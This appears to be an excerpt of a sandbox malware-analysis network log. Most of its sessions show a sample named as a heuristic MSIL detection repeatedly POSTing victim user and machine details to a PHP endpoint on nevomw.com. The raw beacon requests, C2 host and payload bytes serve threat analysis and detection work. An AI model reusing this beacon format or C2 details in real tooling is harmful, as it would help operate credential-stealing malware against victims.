Dec 2, 2020 11:54:00.838684082 CET	1563	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:00.891263962 CET	1563	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:00.965354919 CET	1564	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.6	49919	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:01.222614050 CET	1564	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:01.275552988 CET	1565	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:01.355035067 CET	1565	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.6	49920	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:01.607789993 CET	1566	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:01.660707951 CET	1566	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:01.748774052 CET	1567	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.6	49921	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:02.042783022 CET	1567	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:02.099517107 CET	1568	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:02.174634933 CET	1568	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.6	49922	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:02.488890886 CET	1569	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:02.541819096 CET	1569	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:02.615942001 CET	1569	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.6	49923	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:02.873127937 CET	1571	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:03.024460077 CET	1571	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:03.102365971 CET	1572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.6	49924	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:03.408857107 CET	1573	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:03.460256100 CET	1573	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:03.534225941 CET	1574	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.6	49925	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:03.821188927 CET	1574	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:03.874212980 CET	1575	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:03.950833082 CET	1575	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.6	49926	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:04.227868080 CET	1576	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:04.281078100 CET	1576	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:04.356916904 CET	1577	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.6	49927	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:04.684159994 CET	1577	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:04.737780094 CET	1578	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:04.824449062 CET	1578	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49731	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:50.629810095 CET	96	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:50.681869030 CET	97	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:50.756248951 CET	97	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.6	49928	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:05.082818985 CET	1579	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:05.144393921 CET	1579	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:05.223505020 CET	1579	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.6	49929	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:05.706168890 CET	1580	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:05.764142036 CET	1581	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:05.846091032 CET	1581	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.6	49930	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:06.116519928 CET	1582	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:06.182387114 CET	1582	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:06.257916927 CET	1582	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.6	49931	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:06.510435104 CET	1583	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:06.562309027 CET	1584	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:06.636279106 CET	1584	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.6	49932	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:06.913352013 CET	1585	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:06.966228962 CET	1585	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:07.043773890 CET	1585	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.6	49933	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:07.374504089 CET	1586	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:07.433208942 CET	1586	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:07.512545109 CET	1587	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.6	49934	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:07.745647907 CET	1588	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:07.797575951 CET	1588	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:07.870342016 CET	1588	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.6	49935	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:08.120275021 CET	1589	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:08.175287008 CET	1589	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:08.249250889 CET	1590	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.6	49936	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:08.508028030 CET	1591	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:08.564369917 CET	1591	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:08.637877941 CET	1591	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.6	49937	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:09.113024950 CET	1592	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
